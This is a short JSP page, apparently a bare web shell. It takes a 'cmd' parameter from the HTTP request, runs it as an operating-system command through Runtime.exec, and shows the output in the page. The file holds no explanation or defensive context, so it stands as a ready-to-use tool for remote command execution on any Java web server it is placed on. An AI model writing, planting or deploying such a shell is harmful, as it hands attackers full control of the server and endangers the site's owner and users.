1	<%@ page contentType="text/html; charset=GBK" %>
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<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\\r\\n"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre>	3	4	5